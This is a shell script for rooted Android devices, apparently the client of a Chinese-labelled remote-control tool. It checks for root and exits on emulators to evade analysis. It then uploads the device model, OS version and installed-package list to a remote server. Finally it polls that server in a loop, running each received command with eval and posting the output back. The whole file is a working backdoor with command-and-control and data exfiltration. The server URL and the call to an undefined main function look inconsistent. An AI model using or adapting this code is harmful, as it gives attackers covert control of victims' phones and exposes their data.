#!/system/bin/sh# ============================================# 泽峰远控客户端 - 设备注册与心跳脚本# 原始框架（未加密版）# ============================================# ---------- 配置区（改这里） ----------SERVER="http://zh.xn--rgv.top/builds/module_20260818_184726_312a95.zip"API_KEY="d505fff0c1f94a83f754f87c79d27389"DEVICE_KEY="dev_$(md5sum /proc/sys/kernel/random/boot_id 2>/dev/null | cut -c1-16 || echo unknown)"# --------------------------------------# 颜色输出log_info() { echo -e "\033[0;34m[INFO]\033[0m $1"; }log_ok()   { echo -e "\033[0;32m[OK]\033[0m $1"; }log_err()  { echo -e "\033[0;31m[ERR]\033[0m $1"; }# ==================== 环境检测（可删） ====================check_env() {    # Root 检测    if [ "$(id -u)" != "0" ]; then        log_err "未获取 Root 权限"        return 1    fi        # 模拟器检测（云手机测试时把这整段删了）    PRODUCT_MODEL=$(getprop ro.product.model 2>/dev/null)    PRODUCT_MANUFACTURER=$(getprop ro.product.manufacturer 2>/dev/null)    if echo "$PRODUCT_MODEL $PRODUCT_MANUFACTURER" | grep -qiE "sdk|emulator|goldfish|ranchu|qemu"; then        log_err "检测到模拟器环境"        return 1    fi        log_ok "环境检测通过"    return 0}# ==================== 设备注册 ====================register_device() {    local device_name=$(getprop ro.product.model 2>/dev/null || echo "unknown")    local android_version=$(getprop ro.build.version.release 2>/dev/null || echo "unknown")    local sdk_version=$(getprop ro.build.version.sdk 2>/dev/null || echo "unknown")        # 收集已安装包名列表    local packages=$(pm list packages 2>/dev/null | head -200 | tr '\n' '|')        local post_data="api_key=$API_KEY&device_key=$DEVICE_KEY&device_name=$device_name&android_version=$android_version&sdk_version=$sdk_version&packages=$packages"        log_info "正在注册设备..."    curl -s -X POST "$SERVER/api/register.php" \        -d "$post_data" \        --connect-timeout 10 \        --max-time 30            log_ok "注册完成"}# ==================== 心跳上报 ====================send_heartbeat() {    curl -s -X POST "$SERVER/api/heartbeat.php" \        -d "api_key=$API_KEY&device_key=$DEVICE_KEY" \        --connect-timeout 5 \        --max-time 10}# ==================== 命令轮询 ====================poll_commands() {    local last_cmd_id=""        while true; do        # 请求命令        local response=$(curl -s "$SERVER/api/get_command.php?api_key=$API_KEY&device_key=$DEVICE_KEY&last_id=$last_cmd_id" \            --connect-timeout 5 \            --max-time 10)                # 解析命令（格式：CMD_ID|COMMAND）        local cmd_id=$(echo "$response" | cut -d'|' -f1)        local command=$(echo "$response" | cut -d'|' -f2-)                if [ -n "$cmd_id" ] && [ "$cmd_id" != "0" ] && [ -n "$command" ]; then            log_info "执行命令: $command"                        # 执行命令并捕获输出            local output            output=$(eval "$command" 2>&1)            local exit_code=$?                        # 上报结果            curl -s -X POST "$SERVER/api/command_result.php" \                -d "api_key=$API_KEY&device_key=$DEVICE_KEY&cmd_id=$cmd_id&output=$output&exit_code=$exit_code" \                --connect-timeout 10 \                --max-time 30                        last_cmd_id="$cmd_id"        fi                sleep 3    done}# ==================== 主流程 ====================main "$@"